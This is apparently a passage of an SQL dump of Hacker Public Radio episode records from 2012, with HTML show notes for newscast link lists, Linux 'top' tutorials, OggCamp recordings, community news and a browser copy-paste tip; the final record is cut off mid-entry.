(1061,'2012-08-27','TGTM Newscast for 2012/08/22',1028,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 2012/08/22 </h2>\r\n<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.democracynow.org/2012/8/17/headlines#8170\"> Britain Vows to Deny Assange Safe Passage </a></li>\r\n<li><a href=\"https://www.thestand.org/2012/08/top-two-primary-election-limits-choice-promotes-voter-apathy/\">‘Top-two’ primary election limits choice, promotes voter apathy</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/08/12/romney-would-pay-less-than-1-in-taxes-under-ryan-plan/\">Romney would pay less than 1% in taxes under Ryan plan</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/08/14/worse-than-i-thought/\">Worse Than I Thought</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Secret_Boy_Scout_Predator_Files_Released_120809\">Secret Boy Scout Predator Files Released</a></li>\r\n<li><a href=\"https://www.eff.org/press/releases/government-faces-new-warrantless-surveillance-battle-after-losing-landmark-gps\">Government Faces New Warrantless Surveillance Battle After Losing Landmark GPS Tracking Case</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/08/pakistans-internet-censorship-worsensagain\">Pakistan\'s Internet Censorship Worsens...Again</a></li>\r\n<li><a href=\"https://torrentfreak.com/google-starts-punishing-pirate-sites-in-search-results-120810/\"> Google Starts Punishing “Pirate” Sites In Search Results</a></li>\r\n<li><a href=\"https://torrentfreak.com/new-data-exposes-bittorrent-throttling-isps-120809/\"> New Data Exposes BitTorrent Throttling ISPs</a></li>\r\n<li><a href=\"https://torrentfreak.com/internet-archive-starts-seeding-1398635-torrents-120807/\"> Internet Archive Starts Seeding 1,398,875 Torrents</a></li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://original.antiwar.com/vlahos/2012/08/13/the-freedom-7-are-beating-obama-in-court/\">The Freedom 7 Are Beating Obama in Court</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2758\">WikiLeaks: Paraguay\'s \"Quasi-Coup\" Has the Smell of Oil</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120810/03003419985/facebook-aclu-argue-that-liking-something-is-protected-first-amendment.shtml\">Facebook And ACLU Argue That \'Liking\' Something Is Protected By The First Amendment</a></li>\r\n<li><a href=\"https://ufcw.blogspot.com/2012/08/walmart-workers-paint-graphic-picture.html\">Walmart workers paint graphic picture of working conditions throughout supply chain</a></li>\r\n<li><a href=\"https://www.web.gpnys.com/?p=12103\">Green Party to Obama: Call off federal crackdowns on medical marijuana, respect state laws</a></li></ul>\r\n<p>News from \"thestand.org,\" \"rawstory.com,\" \"maggiemcneill.wordpress.com,\" Audio clip \"Moc#153 Purging Voter Rolls,\"&nbsp; and \"allgov.com\" used under&nbsp;arranged permission.</p>\r\n<p>News from \"torrentfreak.com,\" and \"eff.org\" used under permission of the Creative Commons by-attribution&nbsp;license.</p> \r\n<p>News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul><li><a href=\"https://www.democracynow.org/2012/8/17/headlines#8170\">https://www.democracynow.org/2012/8/17/headlines#8170</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/08/top-two-primary-election-limits-choice-promotes-voter-apathy/\">https://www.thestand.org/2012/08/top-two-primary-election-limits-choice-promotes-voter-apathy/</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/08/12/romney-would-pay-less-than-1-in-taxes-under-ryan-plan/\">https://www.rawstory.com/rs/2012/08/12/romney-would-pay-less-than-1-in-taxes-under-ryan-plan/</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/08/14/worse-than-i-thought/\">https://maggiemcneill.wordpress.com/2012/08/14/worse-than-i-thought/</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Secret_Boy_Scout_Predator_Files_Released_120809\">https://www.allgov.com//ViewNews/Secret_Boy_Scout_Predator_Files_Released_120809</a></li>\r\n<li><a href=\"https://www.eff.org/press/releases/government-faces-new-warrantless-surveillance-battle-after-losing-landmark-gps\">https://www.eff.org/press/releases/government-faces-new-warrantless-surveillance-battle-after-losing-landmark-gps</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/08/pakistans-internet-censorship-worsensagain\">https://www.eff.org/deeplinks/2012/08/pakistans-internet-censorship-worsensagain</a></li>\r\n<li><a href=\"https://torrentfreak.com/google-starts-punishing-pirate-sites-in-search-results-120810/\">https://torrentfreak.com/google-starts-punishing-pirate-sites-in-search-results-120810/</a></li>\r\n<li><a href=\"https://torrentfreak.com/new-data-exposes-bittorrent-throttling-isps-120809/\">https://torrentfreak.com/new-data-exposes-bittorrent-throttling-isps-120809/</a></li>\r\n<li><a href=\"https://torrentfreak.com/internet-archive-starts-seeding-1398635-torrents-120807/\">https://torrentfreak.com/internet-archive-starts-seeding-1398635-torrents-120807/</a></li>\r\n<li><a href=\"https://original.antiwar.com/vlahos/2012/08/13/the-freedom-7-are-beating-obama-in-court/\">https://original.antiwar.com/vlahos/2012/08/13/the-freedom-7-are-beating-obama-in-court/</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2758\">https://wlcentral.org/node/2758</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120810/03003419985/facebook-aclu-argue-that-liking-something-is-protected-first-amendment.shtml\">https://www.techdirt.com/articles/20120810/03003419985/facebook-aclu-argue-that-liking-something-is-protected-first-amendment.shtml</a></li>\r\n<li><a href=\"https://ufcw.blogspot.com/2012/08/walmart-workers-paint-graphic-picture.html\">https://ufcw.blogspot.com/2012/08/walmart-workers-paint-graphic-picture.html</a></li>\r\n<li><a href=\"https://www.web.gpnys.com/?p=12103\">https://www.web.gpnys.com/?p=12103</a></li></ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2148,1),
(1062,'2012-08-28','LiTS 014: The Bottom of Top, top pt 2',2203,'Part 2 of the top command','Dann continues his systematic analysis of the top command and you absolutely need to check out the text, and video for this one.<br />\r\n\r\n<a href=\"https://www.linuxintheshell.com/2012/08/28/episode-014-the-bottom-of-top-top-pt-2/\">https://www.linuxintheshell.com/2012/08/28/episode-014-the-bottom-of-top-top-pt-2</a>\r\n',7,67,1,'CC-BY-SA','top',0,2762,1),
(1063,'2012-08-29','Freedom and Licensing',1619,'Following an interview with Richard Stallman on the Linux Action Show','<p>Linux Action  Show is at <a href=\"https://www.jupiterbroadcasting.com/show/linuxactionshow/\">https://www.jupiterbroadcasting.com/show/linuxactionshow/</a></p>\r\n<p> Free Software Foundation is at <a href=\"https://www.fsf.org/\">https://www.fsf.org/</a></p>\r\n<p> Linux Format Magazine is at <a href=\"https://www.linuxformat.com/\">https://www.linuxformat.com/</a></p>\r\n<br/>\r\n<p>Follow my blog at <a href=\"https://www.zwilnik.com/\">https://www.zwilnik.com/</a></p>\r\n<p>To submit a talk for Ohio LinuxFest, please go to <a href=\"https://ohiolinux.org/callfortalks\">https://ohiolinux.org/callfortalks</a> for more information.</p>\r\n<p>Remember to support free software!</p>\r\n',198,0,1,'CC-BY-SA','software freedom,GPL,BSD licence',0,2310,1),
(1064,'2012-08-30','OGG Camp 11 Panel Discussion',2458,'Recording of the panel discussion at OggCamp11','<h1>This was recorded last year</h1>\r\n<p>Welcome to the Full Circle Podcast on Hacker Public Radio. This is the third of our highlights of last Summers unconference, OGG Camp-11, held at Farnham Maltings in the South of England.</p>\r\n\r\n<p>Introducing the OGG Camp-11 Panel Discussion</p>\r\n\r\n<p>On the panel we have:</p>\r\n<ul>\r\n<li>Dan Lynch of Linux Outlaws, our Chairman</li>\r\n<li>Karen Sandler of the Gnome Foundation and ex-Software Freedom Law Center</li>\r\n<li>Simon Phipps of Forgerock and the Open Software Initiative</li>\r\n<li>Stuart ‘Aq’ Langridge, from Canonical\'s UbuntuOne team and ex-LUG Radio presenter</li>\r\n<li>Fabian Scherschel of Linux Outlaws</li>\r\n</ul>\r\n\r\n<p>Like every good panel Discussion, this all begins with questions from the floor\r\n</p>\r\n\r\n<p>OGG Camp is a joint venture organised by those lovely podcasters the <a href=\"https://linuxoutlaws.com/\" target=\"_blank\" >Linux Outlaws</a> and the <a href=\"https://podcast.ubuntu-uk.org/\" target=\"_blank\" >Ubuntu UK Podcast</a>.</p>\r\n\r\n<p>We\'ve more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including Andy Piper and Laura Cjaikowski.</p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 40mins 56seconds</p>',160,62,1,'CC-BY-SA','oggcamp11,panel discussion',0,2595,1),
(1065,'2012-08-30','Wireless tip',111,'Using an Android phone as a wireless hotspot','And now for the shortest show ever on HPR, we have a very useful tip about tethering to a WiFi hotspot over usb on android.',221,0,1,'CC-BY-SA','android,wireless,wifi,tether',0,2599,1),
(1066,'2012-09-03','HPR Community News August 2012',2442,'HPR Community News August 2012','<h2>Featuring</h2>\r\n<p>\r\n<a href=\"https://bobobex.org/\">Becky Newborough</a><br />\r\n<a href=\"https://titaniumbunker.com/\">Mike Hingley</a><br/>\r\n<a href=\"https://kenfallon.com\">Ken Fallon</a><br />\r\n<a href=\"https://twitter.com/perlist\">Dave Morriss</a><br />\r\n<a href=\"https://corenominal.org/\">Philip Newborough</a><br />\r\n</p>\r\n\r\n<h2>New hosts</h2>\r\n<p>Welcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=219\">ccmusique</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=220\">doubi</a>, and \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=221\">cleavey</a>.\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n<table id=\"table_results\" class=\"data ajax\">\r\n<thead><tr>\r\n<th class=\"condition\">id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1046</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Community News July 2012</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1047</td>\r\n<td  class=\"data inline_edit not_null even  \">Soldering Part 2: An audio demonstration of soldering</td>\r\n<td  class=\"data inline_edit not_null even  \">MrX</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1048</td>\r\n<td  class=\"data inline_edit not_null odd  \">Get off this Rock !!!</td>\r\n<td  class=\"data inline_edit not_null odd  \">MrGadgets</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1049</td>\r\n<td  class=\"data inline_edit not_null even  \">OGG Camp 11: Laura Czajowksi, Life Outside of IRC in a FLOSS Community</td>\r\n<td  class=\"data inline_edit not_null even  \">Robin Catling</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1050</td>\r\n<td  class=\"data inline_edit not_null odd  \">TGTM Newscast for 2012/8/8 DeepGeek</td>\r\n<td  class=\"data inline_edit not_null odd  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1051</td>\r\n<td  class=\"data inline_edit not_null even  \">Intro to the music</td>\r\n<td  class=\"data inline_edit not_null even  \">ccmusique</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1052</td>\r\n<td  class=\"data inline_edit not_null odd  \">LiTS: 013 - Top of Top</td>\r\n<td  class=\"data inline_edit not_null odd  \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1053</td>\r\n<td  class=\"data inline_edit not_null even  \">Zoke with a question</td>\r\n<td  class=\"data inline_edit not_null even  \">Xoke</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1054</td>\r\n<td  class=\"data inline_edit not_null odd  \">Becky Hogge: Barefoot into Cyberspace</td>\r\n<td  class=\"data inline_edit not_null odd  \">Robin Catling</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1055</td>\r\n<td  class=\"data inline_edit not_null even  \">TGTM Newscast for 2012/8/15</td>\r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1056</td>\r\n<td  class=\"data inline_edit not_null odd  \">OggCamp 12 Day 1 Part 1</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1057</td>\r\n<td  class=\"data inline_edit not_null even  \">OggCamp 2012: Simon Phipps: mini-intro to the CDB</td>\r\n<td  class=\"data inline_edit not_null even  \">doubi</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1058</td>\r\n<td  class=\"data inline_edit not_null odd  \">OggCamp12 Hardware Hackers</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1059</td>\r\n<td  class=\"data inline_edit not_null even  \">OggCamp12 Day2 The morning after the night before</td>\r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1060</td>\r\n<td  class=\"data inline_edit not_null odd  \">OggCamp12 Farewell</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1061</td>\r\n<td  class=\"data inline_edit not_null even  \">TGTM Newscast for 2012/08/22</td>\r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1062</td>\r\n<td  class=\"data inline_edit not_null odd  \">LiTS 014: The Bottom of Top, top pt 2</td>\r\n<td  class=\"data inline_edit not_null odd  \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1063</td>\r\n<td  class=\"data inline_edit not_null even  \">Freedom and Licensing</td>\r\n<td  class=\"data inline_edit not_null even  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1064</td>\r\n<td  class=\"data inline_edit not_null odd  \">OGG Camp 11 Panel Discussion</td>\r\n<td  class=\"data inline_edit not_null odd  \">Robin Catling</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1065</td>\r\n<td  class=\"data inline_edit not_null even  \">Wireless tip</td>\r\n<td  class=\"data inline_edit not_null even  \">cleavey</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Thanks to</h2>\r\n<ul>\r\n<li>David Whitman for the fantastic banner.</li>\r\n<li>Everyone involved in OggCamp12</li>\r\n<li>Everyone who helped out with the podcast list - especially Dave Morriss</li>\r\n<li>DeepGeek for allowing his show to be bumped.</li>\r\n</ul>\r\n\r\n<h2>Apologies to</h2>\r\n<ul>\r\n<li>Again Deep Geek for messing up the show notes on TGTM news #72 </li>\r\n</ul>\r\n\r\n<h2>Other Notes</h2>\r\n<ul>\r\n<li>The queue may not be up to date</li>\r\n<li>Ken will be taking it easy for the coming months</li>\r\n<li>Dave Yates is OK.</li>\r\n<li>HPR New year show</li>\r\n</ul>\r\n\r\n',159,47,1,'CC-BY-SA','Community News',0,2239,1),
(2100,'2016-08-19','Re-Enable Copy and Paste in Browsers',280,'How to bypass the roadblocks implemented by JavaScript','<p>\r\nThis episode deals with the annoying, and frustrating practice of disabling copy and paste on websites through the use of javascript. \r\n</p>\r\n<p>\r\nFor a detailed explanation of the why please read this excellent article by Nicholas Miller\r\n<a href=\"https://digiwonk.wonderhowto.com/how-to/re-enable-copy-paste-annoying-sites-block-0155910/\"  target=\"_blank\">Re-Enable Copy &amp; Paste on Annoying Sites That Block It</a>. In this article Nicholas explains that you can set <strong>dom.event.clipboardevents.enabled</strong> in Firefox to prevent this. \r\n</p>\r\n<p>\r\nIn Chrome, you are going to need to install extensions to get the same functionality. The following ones worked for me:\r\n</p>\r\n<ul>\r\n<li><a href=\"https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah\"  target=\"_blank\">Allow Copy</a></li>\r\n<li><a href=\"https://chrome.google.com/webstore/detail/dont-fuck-with-paste/nkgllhigpcljnhoakjkgaieabnkmgdkb\"  target=\"_blank\">Don\'t Fuck With Paste</a></li>\r\n</ul>\r\n<p>\r\n<a href=\"https://www.troyhunt.com/the-cobra-effect-that-is-disabling/\">https://www.troyhunt.com/the-cobra-effect-that-is-disabling/</a>\r\n</p>\r\n',30,0,1,'CC-BY-SA','web browser,cut,paste,plugin,javascript',0,0,1),
(1067,'2012-09-04','echo 01 &gt; /dev/random',9952,'An episode of the /dev/random podcast','In this long winded episode we are joined by Pokey, we discuss many things and many laughs are had.  There are no links for the shownotes because pegwole may or may not have lost them all.  By \"may or may not\" we mean he totally did.\r\n\r\nThis show contains swears.',120,0,1,'CC-BY-SA','podcast',0,2333,1),
(1068,'2012-09-04','Reformatting Creative Commons Content For Non-Computer Settings',501,'Thoughts on reformatting CC content for emergency redistibution','In this episode, Stephen Michael Kellat of <A HREF=\"https://erielookingproductions.info\">The Air Staff of Erie Looking Productions</A> discusses reformatting contented licensed under the Creative Commons regime for use outside typical computer/portable media player contexts.',222,0,1,'CC-BY-SA','creative commons,emergency',0,2206,1),
(1069,'2012-09-06','Eric S. Raymond speaks at the Central Phila. LUG',5607,'A recording of a talk at the Central Philadelphia LUG','<p>\r\nIn today\'s show Russ Wenner, of The Techie Geek Podcast fame, submitted a talk recorded at the Central Philadelphia Linux Users Group. The\r\nspeaker is no other than: <br />\r\n<strong>Eric S. Raymond</strong> (born December 4, 1957) (often referred to by his initials, ESR) is the author of \"The Cathedral and the Bazaar\" and the present maintainer of the \"Jargon File\" (also known as \"The New Hacker\'s Dictionary\").<br />\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/e/e2/Eric_S_Raymond_portrait.jpg\" alt=\"A picture of Eric\" />\r\n</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://thetechiegeek.com/\">https://thetechiegeek.com/</a></li>\r\n<li><a href=\"https://www.phillylinux.org/\">https://www.phillylinux.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Eric_S._Raymond\">https://en.wikipedia.org/wiki/Eric_S._Raymond</a></li>\r\n<li><a href=\"https://en.wikiquote.org/wiki/Eric_S._Raymond\">https://en.wikiquote.org/wiki/Eric_S._Raymond</a></li>\r\n</ul>\r\n',158,54,1,'CC-BY-SA','hardware driver,Ground-truth document,CIA,irker',0,2700,1),
(1070,'2012-09-07','TGTM Newscast for 9/5/2012',1567,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 9/5/2012</h2>\r\n<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.allgov.com/news/top-stories/obama-justice-dept-wont-charge-anyone-over-cia-interrogation-deaths-120901?news=845185\">Obama Justice Dept. Won’t Charge Anyone over CIA Interrogation Deaths</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=77708\">Call to Count Gays in Cuba Census</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/08/26/rule-changes-forced-through-by-romney-campaign-at-rnc-provoke-grassroots-backlash/\">Rule changes forced through by Romney campaign at RNC provoke grassroots backlash</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/09/03/bottleneck/\">Bottleneck</a></li>\r\n<li><a href=\"https://freeculture.org/blog/2012/08/27/stop-the-inclusion-of-proprietary-licenses-in-creative-commons-4-0/\">Stop the inclusion of proprietary licenses in Creative Commons 4.0</a></li>\r\n<li><a href=\"https://torrentfreak.com/u-s-returns-seized-domains-to-streaming-links-site-after-18-months-120830/\">U.S. Returns Seized Domains to Streaming Links Site (After 18 Months)</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120831/07564420228/congressional-reps-question-feds-over-botched-domain-seizures.shtml\">Congressional Reps Question Feds Over Botched Domain Seizures</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-party-pirate-bay-proxy-fights-back-after-ddos-attack-120901/\"> Pirate Party Pirate Bay Proxy Fights Back After DDoS Attack</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/08/21/GlacierEngineeringForColdDataStorageInTheCloud.aspx\"> Glacier: Engineering for Cold Data Storage in the Cloud</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120824/18261220156/common-sense-school-internet-safety-policies.shtml\">Common Sense For School Internet Safety Policies</a></li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://spnyc.org/home/2012/08/29/shall-health-care-be-regarded-as-a-basic-human-right-or-as-a-for-profit-multi-billion-dollar-business/\">Shall Health Care Be Regarded as a Basic Human Right or as a For-Profit Multi-Billion Dollar Business?</a></li>\r\n<li><a href=\"https://www.guardian.co.uk/technology/2012/aug/27/twitter-judge-occupy-order\"> Twitter argues fourth amendment defence over judge\'s Occupy order</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/08/battle-privacy-intensifies-australia\">The Battle for Privacy Intensifies in Australia</a></li>\r\n<li><a href=\"https://torrentfreak.com/kim-dotcom-wins-release-of-4-83m-some-lawyers-set-to-get-paid-290812/\">Kim Dotcom Wins Release of $4.83m, Some Lawyers Set To Get Paid</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-arrested-in-cambodia-120901/\">Pirate Bay Founder Arrested in Cambodia</a></li></ul>\r\n<p>News from \"techdirt.com,\" \"perspectives.mvdirona.com,\"&nbsp; \"havanatimes.org,\"\r\n\"rawstory.com,\" \"maggiemcneill.wordpress.com,\" and\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" and \"freeculture.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p><p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/obama-justice-dept-wont-charge-anyone-over-cia-interrogation-deaths-120901?news=845185\">https://www.allgov.com/news/top-stories/obama-justice-dept-wont-charge-anyone-over-cia-interrogation-deaths-120901?news=845185</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=77708\">https://www.havanatimes.org/?p=77708</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/08/26/rule-changes-forced-through-by-romney-campaign-at-rnc-provoke-grassroots-backlash/\">https://www.rawstory.com/rs/2012/08/26/rule-changes-forced-through-by-romney-campaign-at-rnc-provoke-grassroots-backlash/</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/09/03/bottleneck/\">https://maggiemcneill.wordpress.com/2012/09/03/bottleneck/</a></li>\r\n<li><a href=\"https://freeculture.org/blog/2012/08/27/stop-the-inclusion-of-proprietary-licenses-in-creative-commons-4-0/\">https://freeculture.org/blog/2012/08/27/stop-the-inclusion-of-proprietary-licenses-in-creative-commons-4-0/</a></li>\r\n<li><a href=\"https://torrentfreak.com/u-s-returns-seized-domains-to-streaming-links-site-after-18-months-120830/\">https://torrentfreak.com/u-s-returns-seized-domains-to-streaming-links-site-after-18-months-120830/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120831/07564420228/congressional-reps-question-feds-over-botched-domain-seizures.shtml\">https://www.techdirt.com/articles/20120831/07564420228/congressional-reps-question-feds-over-botched-domain-seizures.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-party-pirate-bay-proxy-fights-back-after-ddos-attack-120901/\">https://torrentfreak.com/pirate-party-pirate-bay-proxy-fights-back-after-ddos-attack-120901/</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/08/21/GlacierEngineeringForColdDataStorageInTheCloud.aspx\">https://perspectives.mvdirona.com/2012/08/21/GlacierEngineeringForColdDataStorageInTheCloud.aspx</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120824/18261220156/common-sense-school-internet-safety-policies.shtml\">https://www.techdirt.com/articles/20120824/18261220156/common-sense-school-internet-safety-policies.shtml</a></li>\r\n<li><a href=\"https://spnyc.org/home/2012/08/29/shall-health-care-be-regarded-as-a-basic-human-right-or-as-a-for-profit-multi-billion-dollar-business/\">https://spnyc.org/home/2012/08/29/shall-health-care-be-regarded-as-a-basic-human-right-or-as-a-for-profit-multi-billion-dollar-business/</a></li>\r\n<li><a href=\"https://www.guardian.co.uk/technology/2012/aug/27/twitter-judge-occupy-order\">https://www.guardian.co.uk/technology/2012/aug/27/twitter-judge-occupy-order</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/08/battle-privacy-intensifies-australia\">https://www.eff.org/deeplinks/2012/08/battle-privacy-intensifies-australia</a></li>\r\n<li><a href=\"https://torrentfreak.com/kim-dotcom-wins-release-of-4-83m-some-lawyers-set-to-get-paid-290812/\">https://torrentfreak.com/kim-dotcom-wins-release-of-4-83m-some-lawyers-set-to-get-paid-290812/</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-arrested-in-cambodia-120901/\">https://torrentfreak.com/pirate-bay-founder-arrested-in-cambodia-120901/</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,2391,1),
(1071,'2012-09-10','How I Cut The Cable Cord: My Settup',917,'Consuming over the air TV rather than cable TV','<p>\nHello HPR,<br />\nBrocktonbob here with the audio from my video that i uploaded to youtube. In this video i show my settup of how i cut the cable cord. I also show the software and hardware i use to get all the tv anyone could want and i show my over the air HD antenna. I give the links to the youtube video which you should watch to get the full effect of what you can get with a little time and effort.<br />\nThe links for the hardware i use are also included below.<br />\nHappy Cable Cutting<br />\nMy youtube video link  <a href=\"https://www.youtube.com/watch?v=UHPTofh1cSA\">https://www.youtube.com/watch?v=UHPTofh1cSA</a>\n</p>\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/UHPTofh1cSA?feature=player_detailpage\" frameborder=\"0\"></iframe>\n\n<ul>\n<li>The link to MediaMall software for playon server  <a href=\"https://www.playon.tv/playon\">https://www.playon.tv/playon</a></li>\n<li>The link to netgear Digital entertainer live {eva 2000} <a href=\"https://www.amazon.com/NETGEAR-Digital-Entertainer-Live-Black/dp/B002HWRJXU\">https://www.amazon.com/NETGEAR-Digital-Entertainer-Live-Black/dp/B002HWRJXU</a></li>\n</ul>\n',202,0,1,'CC-BY-SA','cable tv,antenna,netgear digital entertainer,roku,playon server',0,2413,1),
(1072,'2012-09-11','LiTS 015: top part 3 - Control Top',1618,'Part 3 of the top command','<p>\nOthers would have given up by now. Not our Dann ! He continues his epic coverage of the Top command and in this episode will detail how to control the output of top via shortcut keys and command line switches.\n</p>\n<p>\nFor full notes go to <a href=\"https://www.linuxintheshell.com/2012/09/11/episode-015-top-part-3-control-top/\">https://www.linuxintheshell.com/2012/09/11/episode-015-top-part-3-control-top/</a>\n</p>\n',7,67,1,'CC-BY-SA','top',0,2707,1),
(1073,'2012-09-12','Separate Presentation from Content - 1 The Web',1883,'An introduction to the concept of presentation versus content','<p>The W3C page on why you should do this: <a href=\"https://www.w3.org/TR/WCAG20-TECHS/G140\">https://www.w3.org/TR/WCAG20-TECHS/G140</a></p>\r\n<p>The The Universal Usability page: <a href=\"https://universalusability.com/access_by_design/document_structure/separate.html\">https://universalusability.com/access_by_design/document_structure/separate.html</a></p>\r\n<p>Wikipedia has an article at: <a href=\"https://en.wikipedia.org/wiki/Separation_of_presentation_and_content\">https://en.wikipedia.org/wiki/Separation_of_presentation_and_content</a></p>\r\n<p>CSS Zen Garden shows how the look of a page can change with the same content : <a href=\"https://www.csszengarden.com/\">https://www.csszengarden.com/</a></p>\r\n<br/>\r\n<p>Ohio LinuxFest is September 28-30 in Columbus, Ohio. Go to <a href=\"https://ohiolinux.org/\">https://ohiolinux.org/</a> for more information.</p>\r\n<p>My web site is at <a 